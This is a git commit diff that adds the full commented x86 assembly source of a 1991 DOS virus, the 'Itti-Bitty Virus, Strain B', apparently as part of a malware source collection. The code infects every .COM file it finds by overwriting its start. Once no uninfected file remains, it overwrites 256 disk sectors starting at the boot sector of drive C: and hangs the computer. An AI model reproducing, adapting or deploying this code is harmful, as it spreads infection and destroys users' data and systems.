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2026-06-16 15:59:24 +00:00 · 2021-01-12 17:47:04 -06:00
parent dda6c7045d
commit a2f096eccc
99 changed files with 48627 additions and 0 deletions
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+; The Itti-Bitty Virus, Strain B
+; The smallest virus ever written (only 99 bytes)
+;
+; (C) 1991 Nowhere Man and [NuKE] WaErZ
+; Written by Nowhere Man
+;
+;
+
+	title   "The Itti-Bitty Virus, Strain B:  Even smaller"
+
+        code    segment 'CODE'
+                assume cs:code,ds:code,es:code,ss:code
+
+                org     0100h
+
+code_length     equ     finish - start
+
+start           label   near
+               
+id_bytes	proc	near
+		mov	si,si                   ; Serves no purpose:  our ID
+id_bytes	endp
+
+main            proc    near
+		mov     ah,04Eh			; DOS find first file function
+		mov     cx,00100111b		; CX holds attribute mask
+		mov     dx,offset com_spec	; DX points to "*.COM"
+
+file_loop:      int     021h
+		jc      go_off			; If there are no files, go off
+
+		call    infect_file		; Try to infect found file
+		jne     exit_virus		; Exit if successful
+
+                mov     ah,04Fh			; DOS find next file function
+		jmp	short file_loop		; Repeat until out of files
+
+exit_virus:     mov	ax,04C01h		; DOS terminate function, code 1
+		int     021h
+main            endp
+
+go_off          proc    near
+		cli				; Prevent all interrupts
+
+		mov	ah,2			; AH holds drive number (C:)
+		cwd                             ; Start with sector 0 (boot sector)
+		mov	cx,0100h		; Write 256 sectors (fucks disk)
+		int	026h			; DOS absolute write interrupt
+
+		jmp	$			; Infinite loop; lock up computer
+go_off          endp
+
+infect_file     proc    near
+		mov     ax,03D02h               ; DOS open file function, read-write
+		mov	dx,09Eh			; DX points to the victim
+		int     021h
+
+                xchg    bx,ax                   ; BX holds file handle
+
+		mov     ah,03Fh                 ; DOS read from file function
+		mov     cx,2                    ; CX holds byte to read (2)
+		mov     dx,offset buffer        ; DX points to buffer
+		int     021h
+
+		cmp	word ptr [buffer],0F68Bh ; Are the two bytes "MOV SI,SI"
+		pushf				; Save flags
+		je      close_it_up		; If not, then file is OK
+
+		cwd                             ; Zero CX \_ Zero bytes from start
+		mov	cx,dx			; Zero DX /
+		mov	ax,04200h		; DOS file seek function, start
+		int	021h
+
+		mov     ah,040h                 ; DOS write to file function
+		mov     cx,code_length          ; CX holds virus length
+		mov     dx,offset start         ; DX points to start of virus
+		int     021h
+
+close_it_up:	mov     ah,03Eh                 ; DOS close file function
+		int     021h
+
+		popf				; Restore flags
+		ret				; Return to caller
+
+buffer          dw      ?			; Buffer to hold test data
+infect_file	endp
+
+
+; Initialized data goes here
+
+com_spec        db      "*.COM",0		; What to infect:  all COM files
+
+finish          label   near
+
+code            ends
+		end	id_bytes